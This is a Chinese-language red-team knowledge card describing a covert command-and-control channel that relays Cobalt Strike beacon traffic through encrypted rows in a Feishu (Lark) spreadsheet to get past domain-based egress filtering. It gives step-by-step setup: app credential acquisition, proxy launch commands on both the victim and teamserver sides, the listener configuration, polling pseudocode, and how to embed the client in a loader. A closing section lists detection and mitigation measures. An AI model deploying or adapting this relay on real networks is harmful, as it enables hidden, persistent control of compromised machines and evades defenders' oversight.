飞书云文档表格作为 C2 双向中继:本地 converter 代理 + 加密请求/响应行 + 轮询
pentest/c2 · verified
一句话结论
在受控端与 teamserver 侧各部署一个本地 converter 代理:客户端代理监听 127.0.0.1:18080,把 beacon 的 HTTP 请求用共享密钥加密后写入飞书表格的 requests 行;服务端轮询该行、解密后转发给真实 teamserver,再把响应加密写回 response 列;客户端轮询 response 列、解密并回给 beacon。beacon 只连本地回环,外网可见流量只有到 open.feishu.cn 的合法 HTTPS API(可信域名),因此可以绕过“只允许可信 SaaS 域名出网”的边界策略,实现 C2 流量的双向转发。
原理
- 两端 converter 拆分流量:受控端跑
LarkProxy.exe(本地代理,监听 18080),teamserver 侧跑run_server.py(轮询代理)。beacon 的 HTTP 请求先到本地代理,代理不再直接连 C2,而是把整段 HTTP 请求加密后写进飞书表格;服务端代理读表、解密、把请求转发给127.0.0.1上的 teamserver,拿到响应后加密写回同一行的response列。 - 飞书作为可信域名的双向通道:代理使用飞书开放平台 API(
open.feishu.cn/open-apis/...)完成鉴权和表格读写。企业出口若只放行飞书等 SaaS 域名,beacon 到真实 C2 的流量就被“藏”进飞书 API 的 HTTPS 请求里,不出现可疑 C2 域名/IP。 - 鉴权与定位:需要飞书自建应用/机器人的
app_id、app_secret,先换tenant_access_token;配置里的wiki_token通过getSpreadsheetTokenByWiki()换成spreadsheet_token,再getSheetIds()拿sheet_id;写入用 v2 接口writeToSpreadsheet(token, sheet_id, "A<row>:B<row>", [[id, hex(ciphertext)]])。 - 加密与编码:客户端调用
Crypto::encrypt(request, encryptionKey),把密文转十六进制字符串写入表格;服务端用同一encryptionKey解密。即使飞书侧能看到表格内容,没有共享密钥也无法还原 C2 协议;密钥由两端预共享。 - 轮询节奏:客户端每 2 秒(代码
pollInterval = 2000)检查当前行的response列,非空则解密并通过 socket 回给 beacon;服务端日志显示每 5 秒轮询requests,最多并发处理 5 个任务、每次最多提交 3 个新任务,避免 API 限流。 - 为什么成立:飞书 API 是正常企业办公流量,域名信誉高、TLS 正常;C2 协议被包在表格单元格里,传统基于域名/IP/端口的外联封锁和 C2 特征匹配很难命中。代价是延迟(秒级轮询)、带宽受 API 限制。
- 原文边界:作者称这是针对 Cobalt Strike 流量的简单 demo,大部分功能可用;超过飞书 API 限制的大数据包未做分块会直接失败;未研究 BRC4 通信,大部分功能不可用。因此本卡按“小包 CS HTTP beacon 中继”记录。
触发条件
- 有一个可用的飞书(Lark)租户,能创建自建应用/机器人并拿到
app_id、app_secret;该应用被添加为文档的可编辑协作者(原文图中为“准入机器人”)。 - 有一个飞书 wiki/表格文档,包含
id、requests、response三列;拿到wiki_token(文档 URL 中/wiki/<token>)与目标sheet_id。 - 受控端可以访问
open.feishu.cn(或经过企业代理),且出网策略信任飞书域名;若完全禁止 SaaS API 出网则不成立。 - C2 框架使用 HTTP beacon(原文实测 Cobalt Strike Beacon HTTP;BRC4 未支持),listener 可指向本地代理
127.0.0.1:18080。 - 两端预共享同一个
encryption-key;服务端代理能访问真实 teamserver。 - 数据包大小不超过飞书 API 单次请求限制(原文未做分块,大包会失败)。
利用步骤
- 在飞书创建自建应用/机器人,获取
app_id、app_secret;把机器人添加为文档协作者并给编辑权限。 - 创建 wiki 表格文档,列名为
id、requests、response;从 URL 取wiki_token,用getSheetIds()或 API 查sheet_id。 - 在 teamserver 侧启动服务端代理(原文命令):
python3 run_server.py --app-id <APP_ID> --app-secret <APP_SECRET> --wiki-token <WIKI_TOKEN> --encryption-key "<KEY>"日志显示获取 access token、spreadsheet token、sheet id,然后每 5 秒轮询requests列,把解密后的请求转发给 teamserver,并把响应加密写回response列。 - 在 Cobalt Strike 创建 listener:Name
local,PayloadBeacon HTTP,HTTP Hosts127.0.0.1,HTTP Port (C2)18080(即本地代理端口)。 - 在受控端启动客户端代理(原文命令):
LarkProxy.exe --port 18080 --app-id <APP_ID> --app-secret <APP_SECRET> --wiki-token <WIKI_TOKEN> --encryption-key "<KEY>"代理监听 18080,接收 beacon 请求 → 加密 → 写入表格requests行 → 轮询response列 → 解密 → 回给 beacon。 - beacon 上线后执行
shell whoami、shell ipconfig等验证;表格中可见递增的id行与十六进制密文,服务端日志显示轮询/转发,C2 控制台收到命令输出。 - 需要嵌入 loader 时,可把客户端编译成 lib:VS 设置配置类型为库,定义
LARKPROXY_EXPORTS宏,包含LarkProxy.h,调用LarkProxy::startProxyServer,并用 vcpkg 安装静态 libcurl。
PoC
# 服务端(teamserver 侧)
python3 run_server.py --app-id <APP_ID> --app-secret <APP_SECRET> \
--wiki-token <WIKI_TOKEN> --encryption-key "<KEY>"
# 受控端(beacon 侧)
LarkProxy.exe --port 18080 --app-id <APP_ID> --app-secret <APP_SECRET> \
--wiki-token <WIKI_TOKEN> --encryption-key "<KEY>"
# Cobalt Strike listener
Name: local
Payload: Beacon HTTP
HTTP Hosts: 127.0.0.1
HTTP Port (C2): 18080
# 服务端轮询伪代码(原文节选)
while self.running:
self._check_completed_tasks()
self._submit_new_tasks(current_id) # 每次最多 3 个,处理中最多 5 个
while current_id in self.processing_tasks:
current_id += 1
time.sleep(self.poll_interval) # 5 秒
原文截图显示 CS beacon 执行 whoami/ipconfig 成功、飞书表格出现多行 request/response 十六进制密文、两端代理日志正常;本卡未复跑该 demo。
变体与关联
- 同类可信云中继:
[[pentest-c2-faas-flask-proxy-traffic-forwarding]]用 FaaS(Coze 空间)部署 Flask 透明反向代理,流量直接经云函数转发;[[pentest-c2-cloudflare-workers-json-rc4-c2]]用 Workers 的 JSON/RC4 轮询;本卡不是 HTTP 反向代理,而是把请求/响应存进表格单元格,两端靠轮询交换,属于“文档型 dead drop + 双向中继”。 - 单向 dead drop:
[[pentest-c2-dropbox-paper-og-title-dead-drop]]只利用文档标题分发密钥,不承载交互流量;本卡是双向命令通道。 - 可替换服务:思路可迁移到其他提供表格/文档 API 的 SaaS(Google Sheets、Notion、腾讯文档等),但各家的鉴权、限流、单元格大小与审计不同,原文未验证其他平台。
- 与 DNS 隧道对比:
[[pentest-c2-dns-label-tunnel-txt-a-record-chunking]]依赖只放行 DNS 的网络;本卡依赖放行飞书域名的 HTTPS,适用场景不同。 - 限制:未分块导致大包失败;BRC4 未支持;逐行轮询带来秒级延迟;飞书租户审计与 API 限流会留下痕迹。
检测与防御
- 网络侧:监控内网主机对
open.feishu.cn等 SaaS API 的高频、长连接/周期性请求,尤其是非办公时间段、与正常办公流量基线不符的源;检查/open-apis/sheets/v2/spreadsheets/*/values的读写请求体是否含大段十六进制/Base64 密文、行号是否按 1、2、3 递增。 - 端点侧:发现进程监听
127.0.0.1:18080、beacon 只连回环地址、进程命令行含--app-id/--app-secret/--wiki-token/--encryption-key;EDR 关注“本地监听 + 对外 SaaS API 访问”的组合。 - 飞书租户审计:审批自建应用/机器人,限制可被添加为文档协作者的应用;审计应用对表格的高频
values读写、异常wiki_token访问、短时间大量行写入;轮换泄露的 app_secret。 - C2 侧:检查 CS listener 配置是否指向 127.0.0.1/内网代理;分析 beacon 的 HTTP Host/Stager 与真实外联域名是否不一致。
- 缓解:CASB/代理对 SaaS API 做内容与频率检测;出网策略不只按域名放行,对 SaaS API 也限制非业务主机;禁止终端任意进程监听回环端口;对表格文档的协作者与应用做最小权限。